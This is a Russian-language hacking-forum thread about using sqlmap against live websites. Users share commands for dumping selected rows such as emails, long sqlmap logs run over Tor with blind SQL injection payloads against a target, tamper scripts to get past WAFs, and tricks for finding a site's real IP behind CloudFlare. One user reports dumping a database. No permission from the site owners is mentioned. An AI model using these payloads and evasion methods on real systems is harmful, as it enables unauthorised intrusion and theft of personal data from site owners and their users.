Вопросы по SQLMap

Baskin-Robbins · 13 Sep 2019

Estet said: ↑

Такой вопрос.
Есть колонка Type допустим, строк 100к+, практически везде колонка пустая, но в некоторых есть данные.
Можно ли как то сдампить только те что содержат данные?

Какие там данные я не знаю, так можно было бы --where указать
Click to expand...

where=Type != NULL
или так
where=Type != ''

Estet · 14 Sep 2019

Спасибо за помощь. Еще один, последний вопрос.
Можно ли как то указать подобную конструкцию [email protected]
Тоесть сдампить по электронке на указаном домене?

Baskin-Robbins · 14 Sep 2019

Estet said: ↑

Спасибо за помощь. Еще один, последний вопрос.
Можно ли как то указать подобную конструкцию [email protected]
Тоесть сдампить по электронке на указаном домене?
Click to expand...

--where=email LIKE '%@site.com'
но не уверен, сейчас проверил на sqlmap - не хочет работать, хотя вручную все работает

Estet · 14 Sep 2019

да к сожалению не работает( но все равно спасибо

pacojaveh · 14 Sep 2019

Всем привет,помогите пожалуйста ситуация такая:
Appspider(Rapid7) находит sql уязвимость "Double-float overflow" отправляя значение "1e309" как данные POST запросом,в ответе Mysql2::Error: Unknown column 'Infinity' in 'field list': INSERT INTO `interactions` (`accept_langs`, `browser`, `browser_version`....перечисление всех колонок) при ЛЮБЫХ других значениях кроме "1e309(и выше 1e310..)" ошибки НЕТ,sqlmap не может раскрутить ее,пробовал фазерам через owasp большим списком также ошибок других не нашлось реакция только на 1e309.
И из всего этого вопрос как ее раскрутить в sqlmap?готов оплатить за помощь если кто знает как решить,моя телега @S920799

karkajoi · 14 Sep 2019

Baskin-Robbins said: ↑

--where=email LIKE '%@site.com'
но не уверен, сейчас проверил на sqlmap - не хочет работать, хотя вручную все работает
Click to expand...

Estet said: ↑

да к сожалению не работает( но все равно спасибо
Click to expand...

--where="email='[email protected]'" так будет работать

RWD · 14 Sep 2019

ex3x1 said: ↑
Приветствую! Acunetix'ом обнаружена Blind SQLinj:
Code:
GET /rent.php?country=179&method=get_mobile_count&operator=4&services=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'"%2B(select(0)from(select(sleep(0)))v)%2B"*/&timereset=2 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://site.org/
Cookie: PHPSESSID=c2907islgb685fdbo0u6h5im40
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: site.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
Далее лог SQLmap'а:

PHP:

sqlmap.py -u "http://site.org/rent.php?country=179&method=get_mobile _count&operator=4&services=33*&timereset=2" --random-agent --tor --tor-type=SOCKS5 --risk=3 --level=5 --dbs ___ __H__ ___ ___[.]_____ ___ ___ {1.3.9.9#dev} |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 12:57:35 /2019-09-14/ [12:57:35] [WARNING] increasing default value for option '--time-sec' to 10 because switch '--tor' was provided [12:57:35] [INFO] setting Tor SOCKS proxy settings [12:57:36] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, lik e Gecko) Chrome/17.0.963.66 Safari/535.11' from file 'user-agents.txt' custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [12:57:38] [INFO] testing connection to the target URL [12:57:39] [INFO] checking if the target is protected by some kind of WAF/IPS [12:57:40] [INFO] testing if the target URL content is stable [12:57:40] [INFO] target URL content is stable [12:57:40] [INFO] testing if URI parameter '#1*' is dynamic [12:57:41] [INFO] URI parameter '#1*' appears to be dynamic [12:57:41] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [12:57:42] [INFO] testing for SQL injection on URI parameter '#1*' [12:57:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [12:57:50] [INFO] URI parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [12:57:57] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [12:57:57] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [12:57:58] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [12:57:58] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [12:57:59] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [12:57:59] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [12:58:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:58:00] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:58:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [12:58:01] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [12:58:02] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [12:58:02] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [12:58:03] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:58:03] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' [12:58:04] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [12:58:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [12:58:05] [INFO] testing 'PostgreSQL OR error-based - WHERE or HAVING clause' [12:58:06] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [12:58:06] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)' [12:58:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)' [12:58:07] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)' [12:58:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)' [12:58:08] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)' [12:58:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [12:58:09] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)' [12:58:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)' [12:58:10] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)' [12:58:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)' [12:58:11] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)' [12:58:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)' [12:58:12] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)' [12:58:13] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause' [12:58:13] [INFO] testing 'Firebird OR error-based - WHERE or HAVING clause' [12:58:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [12:58:14] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [12:58:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [12:58:15] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [12:58:15] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [12:58:16] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [12:58:16] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [12:58:17] [INFO] testing 'PostgreSQL error-based - Parameter replace' [12:58:17] [INFO] testing 'PostgreSQL error-based - Parameter replace (GENERATE_SERIES)' [12:58:18] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace' [12:58:18] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)' [12:58:19] [INFO] testing 'Oracle error-based - Parameter replace' [12:58:19] [INFO] testing 'Firebird error-based - Parameter replace' [12:58:20] [INFO] testing 'MySQL inline queries' [12:58:20] [INFO] testing 'PostgreSQL inline queries' [12:58:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [12:58:21] [INFO] testing 'Oracle inline queries' [12:58:21] [INFO] testing 'SQLite inline queries' [12:58:22] [INFO] testing 'Firebird inline queries' [12:58:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)' [12:58:23] [INFO] testing 'MySQL > 5.0.11 stacked queries' [12:58:23] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)' [12:58:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)' [12:58:24] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [12:58:25] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [12:58:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [12:58:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [12:58:26] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)' [12:58:27] [INFO] testing 'PostgreSQL stacked queries (heavy query)' [12:58:27] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)' [12:58:28] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)' [12:58:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [12:58:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)' [12:58:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [12:58:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE)' [12:58:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [12:58:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)' [12:58:32] [INFO] testing 'Oracle stacked queries (heavy query - comment)' [12:58:32] [INFO] testing 'Oracle stacked queries (heavy query)' [12:58:33] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)' [12:58:33] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)' [12:58:34] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP - comment)' [12:58:34] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)' [12:58:34] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)' [12:58:34] [INFO] testing 'IBM DB2 stacked queries (heavy query)' [12:58:35] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)' [12:58:35] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)' [12:58:36] [INFO] testing 'Firebird stacked queries (heavy query - comment)' [12:58:36] [INFO] testing 'Firebird stacked queries (heavy query)' [12:58:37] [INFO] testing 'SAP MaxDB stacked queries (heavy query - comment)' [12:58:37] [INFO] testing 'SAP MaxDB stacked queries (heavy query)' [12:58:38] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query - comment)' [12:58:38] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query)' [12:58:39] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query - comment)' [12:58:39] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query)' [12:58:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [12:59:21] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y [12:59:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [12:59:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) techni que found [12:59:45] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. A utomatically extending the range for current UNION query injection technique test [12:59:47] [INFO] target URL appears to have 1 column in query [12:59:49] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql ') [12:59:59] [INFO] target URL appears to be UNION injectable with 1 columns [13:00:01] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns' [13:00:13] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns' [13:00:24] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns' [13:00:34] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns' [13:00:44] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns' [13:00:54] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns' [13:01:04] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns' [13:01:16] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns' [13:01:29] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns' [13:01:39] [INFO] checking if the injection point on URI parameter '#1*' is a false positive URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 364 HTTP(s) requests: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://site.org:80/rent.php?country=179&method=get_mobile_count&operator=4&services=33 AND 2716=2716&timereset=2 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://site.org:80/rent.php?country=179&method=get_mobile_count&operator=4&services=33 AND (SELECT 1911 FROM (SELECT(SLEEP( 10)))flbR)&timereset=2 --- [13:02:06] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP back-end DBMS: MySQL >= 5.0.12 [13:02:06] [INFO] fetching database names [13:02:06] [INFO] fetching number of databases [13:02:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [13:02:06] [INFO] retrieved: [13:02:08] [INFO] retrieved: [13:02:08] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disr uptions [13:02:09] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [13:02:09] [ERROR] unable to retrieve the number of databases [13:02:09] [INFO] falling back to current database [13:02:09] [INFO] fetching current database [13:02:09] [INFO] retrieved: [13:02:11] [INFO] retrieved: [13:02:12] [CRITICAL] unable to retrieve the database names [13:02:12] [INFO] fetched data logged to text files under 'output\site.org' [*] ending @ 13:02:12 /2019-09-14/ sqlmap.py -u "http://site.org/rent.php?country=179&method=get_mobile _count&operator=4&services=33*&timereset=2" --random-agent --tor --tor-type=SOCKS5 --risk=3 --level=5 --no-cast --dbs ___ __H__ ___ ___[']_____ ___ ___ {1.3.9.9#dev} |_ -| . ["] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 13:03:05 /2019-09-14/ [13:03:05] [WARNING] increasing default value for option '--time-sec' to 10 because switch '--tor' was provided [13:03:05] [INFO] setting Tor SOCKS proxy settings [13:03:06] [INFO] fetched random HTTP User-Agent header value 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)' from file 'user-agents.txt' custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [13:03:09] [INFO] resuming back-end DBMS 'mysql' [13:03:09] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://site.org:80/rent.php?country=179&method=get_mobile_count&operator=4&services=33 AND 2716=2716&timereset=2 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://site.org:80/rent.php?country=179&method=get_mobile_count&operator=4&services=33 AND (SELECT 1911 FROM (SELECT(SLEEP( 10)))flbR)&timereset=2 --- [13:03:10] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP back-end DBMS: MySQL >= 5.0.12 [13:03:10] [INFO] fetching database names [13:03:10] [INFO] fetching number of databases [13:03:10] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [13:03:10] [INFO] retrieved: [13:03:11] [WARNING] it's highly recommended to avoid usage of switch '--tor' for time-based injections because of inherent high latency tim e [13:03:11] [WARNING] time-based comparison requires larger statistical model, please wait........................... (done) [13:03:37] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) [13:03:37] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disr uptions [13:03:38] [ERROR] unable to retrieve the number of databases [13:03:38] [INFO] falling back to current database [13:03:38] [INFO] fetching current database [13:03:38] [INFO] retrieved: [13:03:40] [INFO] retrieved: [13:03:41] [CRITICAL] unable to retrieve the database names [13:03:41] [INFO] fetched data logged to text files under 'output\site.org' [*] ending @ 13:03:41 /2019-09-14/ sqlmap.py -u "http://site.org/rent.php?country=179&method=get_mobile _count&operator=4&services=33*&timereset=2" --random-agent --tor --tor-type=SOCKS5 --risk=3 --level=5 --hex --time-sec=10 --dbs ___ __H__ ___ ___[.]_____ ___ ___ {1.3.9.9#dev} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 13:05:03 /2019-09-14/ [13:05:03] [INFO] setting Tor SOCKS proxy settings [13:05:04] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00' from file 'user-agents.txt' custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [13:05:08] [INFO] resuming back-end DBMS 'mysql' [13:05:08] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://site.org:80/rent.php?country=179&method=get_mobile_count&operator=4&services=33 AND 2716=2716&timereset=2 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://site.org:80/rent.php?country=179&method=get_mobile_count&operator=4&services=33 AND (SELECT 1911 FROM (SELECT(SLEEP( 10)))flbR)&timereset=2 --- [13:05:08] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP back-end DBMS: MySQL >= 5.0.12 [13:05:08] [INFO] fetching database names [13:05:08] [INFO] fetching number of databases [13:05:08] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [13:05:10] [INFO] retrieved: [13:05:10] [WARNING] it's highly recommended to avoid usage of switch '--tor' for time-based injections because of inherent high latency tim e [13:05:10] [WARNING] time-based comparison requires larger statistical model, please wait.......................... (done) [13:05:24] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disr uptions [13:05:25] [INFO] retrieved: [13:05:25] [ERROR] unable to retrieve the number of databases [13:05:25] [INFO] falling back to current database [13:05:25] [INFO] fetching current database [13:05:28] [INFO] retrieved: [13:05:30] [INFO] retrieved: [13:05:30] [CRITICAL] unable to retrieve the database names [13:05:30] [INFO] fetched data logged to text files under 'output\site.org' [*] ending @ 13:05:30 /2019-09-14/

Попробовал с --dbms=MySQL:

PHP:

sqlmap.py -u "http://site.org/rent.php?country=179&method=get_mobile _count&operator=4&services=33*&timereset=2" --random-agent --tor --tor-type=SOCKS5 --risk=3 --level=5 --hex --time-sec=15 --dbms=MySQL --dbs ___ __H__ ___ ___[.]_____ ___ ___ {1.3.9.9#dev} |_ -| . ["] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:27:55 /2019-09-14/ [15:27:55] [INFO] setting Tor SOCKS proxy settings [15:27:56] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, lik e Gecko) Chrome/11.0.696.68 Safari/534.24' from file 'user-agents.txt' custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [15:27:59] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://site.org:80/rent.php?country=179&method=get_mobile_count&operator=4&services=33 AND 6284=6284&timereset=2 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://site.org:80/rent.php?country=179&method=get_mobile_count&operator=4&services=33 AND (SELECT 5287 FROM (SELECT(SLEEP( 15)))FhgH)&timereset=2 --- [15:28:00] [INFO] testing MySQL [15:28:00] [INFO] confirming MySQL [15:28:03] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP back-end DBMS: MySQL >= 5.0.2 (MariaDB fork) [15:28:03] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database [15:28:03] [INFO] fetching number of databases [15:28:03] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [15:28:04] [INFO] retrieved: [15:28:04] [WARNING] it's highly recommended to avoid usage of switch '--tor' for time-based injections because of inherent high latency tim e [15:28:04] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done) [15:28:14] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disr uptions [15:28:15] [INFO] retrieved: [15:28:15] [ERROR] unable to retrieve the number of databases [15:28:15] [INFO] falling back to current database [15:28:15] [INFO] fetching current database [15:28:17] [INFO] retrieved: [15:28:19] [INFO] retrieved: [15:28:19] [CRITICAL] unable to retrieve the database names [15:28:19] [INFO] fetched data logged to text files under 'output\site.org' [*] ending @ 15:28:19 /2019-09-14/

Подскажите в чем может быть проблема? Я не сильно опытен в этом деле. Спасибо.
Click to expand...
Попробуйте no-cast, еще можно с таким тампером поробовать tamper=between, space2comment

karkajoi · 19 Sep 2019

ex3x1 said: ↑
И снова здравствуйте. Сайт под CloudFlare, с включенной для всех стран гугл каптчей при входе на него. Скульмап не может пройти через капчу, постоянно еррорит:
Code:
[WARNING] potential CAPTCHA protection mechanism detected (CloudFlare)
[WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
Пробовал подставлять куки с параметром --cookie и ни какого эффекта, так же 403. Тампер "luanginx" бесполезен в этом случае тоже. Есть идеи как пробиться сквозь капчу?
Click to expand...
1) крутить руками
2) искать реальный IP сайта

З.Ы если там правильно настроен клауд, то скулю будет сложно раскрутить, паблик методов обхода клауда при sqli я не видел (только старые методы которые уже не катят)

karkajoi · 19 Sep 2019

ex3x1 said: ↑

WAF отключен у них полностью.
Click to expand...

Ну тогда 1е 2 варианта. Если скуля не слепая, то руками крутануть
P.S Мапа в последнее время херово видит скули почему-то. Приходится все чаще делать все в ручном режиме, либо искать другой софт

Estet · 19 Sep 2019

заранее сори за глупый вопрос, вот так бывает... )

есть несколько значений id = 2421,12412,41241,4121 которые мне нужны
как с командой --where извлечь только эти ID ?
думал --where=id=2421,12412,41241,4121
вероятно не запятая между значениями нужна ))

joelblack · 20 Sep 2019

Estet said: ↑

заранее сори за глупый вопрос, вот так бывает... )

есть несколько значений id = 2421,12412,41241,4121 которые мне нужны
как с командой --where извлечь только эти ID ?
думал --where=id=2421,12412,41241,4121
вероятно не запятая между значениями нужна ))
Click to expand...
Code:
--where "id IN (1,3)"

pacojaveh · 25 Sep 2019

ex3x1 said: ↑
И снова здравствуйте. Сайт под CloudFlare, с включенной для всех стран гугл каптчей при входе на него. Скульмап не может пройти через капчу, постоянно еррорит:
Code:
[WARNING] potential CAPTCHA protection mechanism detected (CloudFlare)
[WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
Пробовал подставлять куки с параметром --cookie и ни какого эффекта, так же 403. Тампер "luanginx" бесполезен в этом случае тоже. Есть идеи как пробиться сквозь капчу?
Click to expand...
Попробуй
https://rhinosecuritylabs.com/aws/bypassing-ip-based-blocking-aws/

Imperou$ · 26 Sep 2019

ex3x1
Так же чекни
http://crimeflare.org:82/cfs.html
и
https://viewdns.info/iphistory/
на реал ip. Потом просто обращайся к сайту по ip, с указанием заголовка Host: yourtarget.com

sosidzh24 · 27 Sep 2019

сканер определил уязвимую ссылку и базу данных, имеет вид plants/?sFilterProperties=1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1&sPage=1&sPerPage=12 Но sqlmap отказывается брать этот сайт.Какую технику использовать чтобы направить его в нужное направление?

NewbieOnHack · 28 Sep 2019

Всем привет форумчане, кто может обьяснить, что делает --no-cast? Заранее спасибо. И почему при нормализации в --hex не дает базу и сыпятся запросы(блочит ваф), а при --no-cast я спокойно получил базу и дамплю сейчас!)

RWD · 28 Sep 2019

NewbieOnHack said: ↑

Всем привет форумчане, кто может обьяснить, что делает --no-cast? Заранее спасибо. И почему при нормализации в --hex не дает базу и сыпятся запросы(блочит ваф), а при --no-cast я спокойно получил базу и дамплю сейчас!)
Click to expand...

https://github.com/sqlmapproject/sqlmap/wiki/Usage

Turn off payload casting mechanism
Switch: --no-cast

When retrieving results, sqlmap uses a mechanism where all entries are being casted to string type and replaced with a whitespace character in case of NULL values. That is being made to prevent any erroneous states (e.g. concatenation of NULL values with string values) and to easy the data retrieval process itself. Nevertheless, there are reported cases (e.g. older versions of MySQL DBMS) where this mechanism needed to be turned-off (using this switch) because of problems with data retrieval itself (e.g. None values are returned back).

NewbieOnHack · 30 Sep 2019

RWD said: ↑

https://github.com/sqlmapproject/sqlmap/wiki/Usage

Turn off payload casting mechanism
Switch: --no-cast

When retrieving results, sqlmap uses a mechanism where all entries are being casted to string type and replaced with a whitespace character in case of NULL values. That is being made to prevent any erroneous states (e.g. concatenation of NULL values with string values) and to easy the data retrieval process itself. Nevertheless, there are reported cases (e.g. older versions of MySQL DBMS) where this mechanism needed to be turned-off (using this switch) because of problems with data retrieval itself (e.g. None values are returned back).
Click to expand...

Спасибо, но я не понял почему я обошел фильтр этим методом(при sql запросе в url строку получал 504, что означало, что коннект дропает фильтр)

4sh0T · 3 Oct 2019

hello everyone, I'm sorry for not being able to speak Russian. I can translate if necessary but I thought I'd try it in english first.
I got a site which is vulnerable to SQL injection, however whatever I try it doesn't exploit the vulnerability. Also the WAF blocks some payloads, so I used Atlas(https://github.com/m4ll0k/Atlas) to identify the WAF, but it didn't manage to identify it, however it suggested me some tampers to use before the WAF blocked my IP. This is the response I get when I manually type in ' behind this site:

https://www.site.xx/xxxx/product.php?id=47' (I enter the ' myself)

"MySQL error: 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' AND p.products_status = 1 GROUP BY p.products_id' at line 1

SELECT * FROM products AS p LEFT JOIN products_description AS pd ON p.products_id=pd.products_id WHERE p.products_id = 47\\\' AND p.products_status = 1 GROUP BY p.products_id

TEP_DB_ERROR"

command used:
sqlmap -u https://www.site.xx/xxxx/product.php?id=47 --random-agent --level=5 --risk=3 --dbs --tamper=htmlencode,charunicodeencode,modsecurityversioned,modsecurityzeroversioned,multiplespaces

Anyone knows how I could exploit?

sosidzh24 · 4 Oct 2019

man474019 said: ↑

and what you used ?
Click to expand...

--level 5 --risk 3 -v 3 --random-agent

sosidzh24 · 4 Oct 2019

man474019 said: ↑

what sqlmap's result ?
Click to expand...

all tested parameters do not appear to be injectable. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
There are no errors in payloads

Вопросы по SQLMap

Baskin-Robbins Reservists Of Antichat

Estet New Member

Baskin-Robbins Reservists Of Antichat

Estet New Member

pacojaveh New Member

karkajoi Well-Known Member

RWD Member

karkajoi Well-Known Member

karkajoi Well-Known Member

Estet New Member

joelblack Reservists Of Antichat

pacojaveh New Member

Imperou$ Elder - Старейшина

sosidzh24 Member

NewbieOnHack New Member

RWD Member

NewbieOnHack New Member

4sh0T New Member

sosidzh24 Member

sosidzh24 Member

Useful Searches

Вопросы по SQLMap

Baskin-Robbins Reservists Of Antichat

Estet New Member

Baskin-Robbins Reservists Of Antichat

Estet New Member

pacojaveh New Member

karkajoi Well-Known Member

RWD Member

karkajoi Well-Known Member

karkajoi Well-Known Member

Estet New Member

